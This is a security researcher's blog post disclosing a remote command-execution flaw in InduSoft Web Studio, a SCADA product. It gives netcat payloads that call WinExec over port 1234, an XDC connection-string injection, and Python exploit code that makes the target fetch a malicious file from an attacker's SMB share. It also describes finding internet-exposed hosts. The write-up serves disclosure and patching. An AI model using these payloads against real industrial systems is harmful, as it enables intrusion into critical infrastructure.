Poppin’ Calc: Web Studio Edition

Jacob Baines
Tenable TechBlog
Published in
8 min readFeb 6, 2019

What Even Are You?

We’ve hit peak SCADA

My coworkers keep finding vulnerabilities in InduSoft Web Studio (IWS). And I just have no idea what that software is. Cruising the IWS website…it looks very SCADA, peak SCADA even. I’ll just tell marketing this is “critical software.”

Listen, don’t judge me. All of the bugs we find at Tenable cross my desk and I just don’t have time to sit down and figure out what every piece of obscure software is. But Web Studio… it keeps coming up. How long can I pretend to know what this is?

And we aren’t the only ones finding vulnerabilities either. ZDI has bought and disclosed a couple too. But who cares? Has anyone even heard of this software? Does anyone use it? Why would ZDI pay for those vulns?

You’ve Got My Attention

I have the distinct misfortune of handling vulnerability disclosure for some other researchers at Tenable. Usually, I find it hard to be excited about other people’s bugs. It’s just not the same when it isn’t your own work, you know?

But that isn’t the case with our most recent IWS bug. When I read the initial write up for CVE-2019–6543 and CVE-2019–6545, I laughed out loud. It’s a good hack. Not a “maybe exploitable” overflow or another XSS vulnerability. It’s a clever, “Hey, I can execute OS commands by connecting back to an SMB server in my control.” Check out the proof of concept video:

Now You Have My Curiosity

A good hack like that? How could I not be curious? When I’m interested in a target the first thing I usually want to know is, “Does this software actually get used? Are there actual hosts on the internet?”

Indusoft has a ton of case studies on their website. IWS is supposedly used for monitoring in all sorts of industries: Oil & Gas, Packaging, Wind, Solar, Food & Beverage, Detention Centers, and on and on.

Is it bad if I can pop calc on your detention monitoring system?

However, case studies don’t necessarily reflect reality. Maybe IWS is used in the wild. Maybe not. If we can find internet facing hosts, even a small number, I’ll be more convinced.

But the problem with finding hosts online is that the exploit occurs over a custom protocol on port 1234 (or 51234 if SSL is configured). The client also has to initiate the protocol so unless Shodan specifically scans for this protocol (it doesn’t) no results will show up. An example of the connection initiation:

albinolobster@ubuntu:~$ echo -ne "\x02\x31\x10\x31\x10\x38\x10\x31\x10\x31\x03" | nc -q 1 192.168.1.226 1234 | xxd
00000000: 0231 1031 1032 1032 1030 1030 1031 03 .1.1.2.2.0.0.1.
albinolobster@ubuntu:~$

There is another way to search for these on Shodan. IWS apps can be configured to work over HTTP. Indusoft actually has a demo page and the landing page is very distinctive:

albinolobster@ubuntu:~$ curl http://demo.indusoft.com/startup.html
<html>
<head>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
<meta name="GENERATOR" content="InduSoft Web Studio 8.1">
<title>Project Name</title>
</head>
<body leftmargin=0 topmargin=0 marginwidth=0 marginheight=0><p><object id="ISSymbol1"
classid="clsid:E88AEB24-9B03-485B-BFF2-ED7E50B1FEA9"
codebase="http://www.indusoft.com/ISSymbol/v81.2.0/ISSymbolVM.cab#version=2901,1810,2401,0000"
align="baseline" border="0" width="25" height="25"><param
name="_StockProps" value="0">
</object> <script language="JavaScript"><!--
ISSymbol1.HTMLVersion = 2
ISSymbol1.ProductName = "InduSoft Web Studio"
ISSymbol1.ProductVersion = "8.1"
ISSymbol1.HostIPAddress = ""
ISSymbol1.HostPort = 51234
ISSymbol1.DataServerSecureChannel = 1

Plugging ISSymbol1 into Shodan was… underwhelming.

For a different project, I’ve been using Censys.io to find OEM devices that reuse the same TLS certificate. I figured I’d give Censys.io a shot at this.

95 hosts. Alright. That’s not too bad for SCADA software using a non-default configuration. Now that I know there are IWS hosts connected to the internet, I’m a lot more interested in understanding this new IWS vulnerability.

Getting to Know Port 1234

Before I dive into the mechanics of CVE-2019–6543 and CVE-2019–6545, I need to explain the remote agent that listens on port 1234 a little bit. The attack surface of the remote agent is huge. It speaks a custom command based protocol. The commands are just integers. Below you can see some of the entries in the top level jump table.

Each “command” can contain a pretty extensive set of subcommands and functions. One of the most interesting commands, from my point of view, is command 55. You can somewhat see it pictured above. Command 55 is the attack vector for CVE-2015–7375.

Not so unspecified anymore, is it?

ZDI wrote this about CVE-2015–7374:

The remote API that ZDI mentions is probably the IWS “Built-in Language” mentioned in the Appendix of IWS’s Technical Reference. Which means that command 55 handles well over 100 other subcommands. Some of the subcommands are innocent like Pi() and GetAppPath(). But others are not-so-innocent like WinExec(). Here are some examples:

albinolobster@ubuntu:~$ echo -ne "\x02\x31\x10\x31\x10\x38\x10\x31\x10\x31\x03\x02\x33Pi()\x03" | nc -q 5 192.168.1.226 1234
112200131Pi() 3.1415926535897931
albinolobster@ubuntu:~$ echo -ne "\x02\x31\x10\x31\x10\x38\x10\x31\x10\x31\x03\x02\x33GetAppPath()\x03" | nc -q 5 192.168.1.226 1234
112200131GetAppPath() C:\Users\Public\Documents\InduSoft Web Studio v8.1 Demo\PCDemo\
albinolobster@ubuntu:~$ echo -ne "\x02\x31\x10\x31\x10\x38\x10\x31\x10\x31\x03\x02\x33WinExec(\"calc.exe\")\x03" | nc -q 5 192.168.1.226 1234
112200131WinExec("calc.exe") 1
albinolobster@ubuntu:~$

Yup, WinExec() can launch calc.

CLICK ENABLE SECURITY SYSTEM YOU IDIOT

The Curious Case of Command 66

The security system doesn’t apply to all commands though. Before CVE-2019–6543 was patched, command 66 could be invoked by unauthenticated remote users. According to some useful exceptions, command 66 is CClient::DBProcessCall(). DBProcessCall appears to support four subcommands: “CO” (connection open), “EX” (execute SQL statements), “CF” (built-in SQL functions?), and “CC” (connection close).

I couldn’t fit everything into one nice graph. Sue me.

Drilling down into the “CO” command, it tries to open a user specified XDC file in order to parse the actual database connection information. Here is an example of an XDC file from Web Studio’s demo project.

<?xml version="1.0"?>
<Connection>
<ConnectionString>{sysServer.ConnectionString}</ConnectionString>
<User></User>
<TimeOut>2</TimeOut>
<LongTimeOut>5</LongTimeOut>
<HostName>127.0.0.1</HostName>
<TCPPort>3997</TCPPort>
<Flags>0</Flags>
<RetryInterval>120</RetryInterval>
</Connection>

That looks fairly normal except for the ConnectionString entry. What’s the deal with {sysServer.ConnectionString}?

RTFM

To answer that question, I turned to the manual. The more than 1500 page technical guide contains a lot of hints about how curly brackets can be used. The passage below hints that a connection string can use curly brackets to determine a database’s connection information at runtime.

RTFM for OS command execution clues

Further, the Application Guide seems to state that built-ins can be used in connection string.

Built-in functions like GetAppPath? You don’t say?

This means we should be able to insert {WinExec("calc.exe")} into the DB.xdc’s connection string and pop calc when the connection information is used.

Local Exploitation

Let’s try a very simple experiment to prove my WinExec() theory. I edited the demo project’s DB file to use {WinExec("calc.exe")} instead of {sysServer.ConnectionString} and executed the demo application.

Result: Jackpot

Exploitation over the Network

Okay, it’s confirmed that putting {WinExec("calc.exe")} in the DB.xdc will launch calc. Will using DB.xdc via command 66 trigger the same result? Here’s a simple echo test. Don’t worry about the formatting, the final exploit will have more details.

albinolobster@ubuntu:~$ echo -ne "\x02\x31\x10\x31\x10\x38\x10\x31\x10\x31\x03\x02\x42\xff\xfe\xff\x02C\x00O\x00\xff\xfe\xff\x02D\x00B\x00\xff\xfe\xff\x00\xff\xfe\xff\x00\xff\xfe\xff\x00\xff\xfe\xff\x04\x74\x00\x65\x00\x61\x00\x6c\x00\x80\x3e\x00\x00\x00\x00\x00\x00\x64\x00\x00\x00\x03" | nc -q 5 192.168.1.226 1234
1122001B�������~Fail to open database. <ConStr: 1>; Format of the initialization string does not conform to specification starting at index 0.
albinolobster@ubuntu:~$

It’s kind of hard to see in the text, but you can see UTF-16 versions of “CO” (connection open) and “DB” (configuration file to use) in the text. The “DB” string will be auto-completed to “DB.xdc” by the agent. You can see that the server responds to with an error… but it still pops calc.

Now with 100% More SMB!

We can invoke a DB.xdc file over the network. If the DB.xdc contains a WinExec command then the command will be executed. Neat! But not a realistic attack vector.

What we need now is a way to introduce a totally new DB.xdc file to the system. Under normal circumstances that might be an insurmountable challenge. However, IWS allows the user to specify an xdc file on a network share. IWS will then fetch the DB file via SMB.

The full exploit is fairly simple thanks to the impacket SMB server implementation, but it still tops out at ~120 lines of code. You can find the full exploit on GitHub. The most relevant part for this write up is the construction of command 66:

# Craft command 66
cmd = wstr('CO') # options: EX, CO, CF, CC
cmd += wstr('\\\\' + args.lip + '\\LOLWAT\\DB') # file to load
cmd += wstr('')
cmd += wstr('')
cmd += wstr('')
cmd += wstr('lolwat')
cmd += pack('<L', 0x3e80)
cmd += pack('<L', 0)
cmd += pack('<L', 100)
cmd = '\x02\x42' + cmd + '\x03'

The way the exploit works is that it spins up an SMB server on the attacker’s machine, sends command 66 to IWS, IWS grabs the DB.xdc from the attacker’s SMB server, and finally IWS executes the WinExec command in the DB.xdc.

Conclusion

If you poke around the internet, you’ll find all sorts of interesting and obscure software begging to be exploited. Sure, we didn’t pop calc in something ubiquitous like IIS. But IWS turned out to be a fun target and, assuming ZDI is still buying, it can still get you paid.

A patch and advisory were released by Aveva on February 4, 2019. Tenable also released an advisory which includes the disclosure timeline. Apply the vendor patch and don’t expose your SCADA related software to the internet.

--

--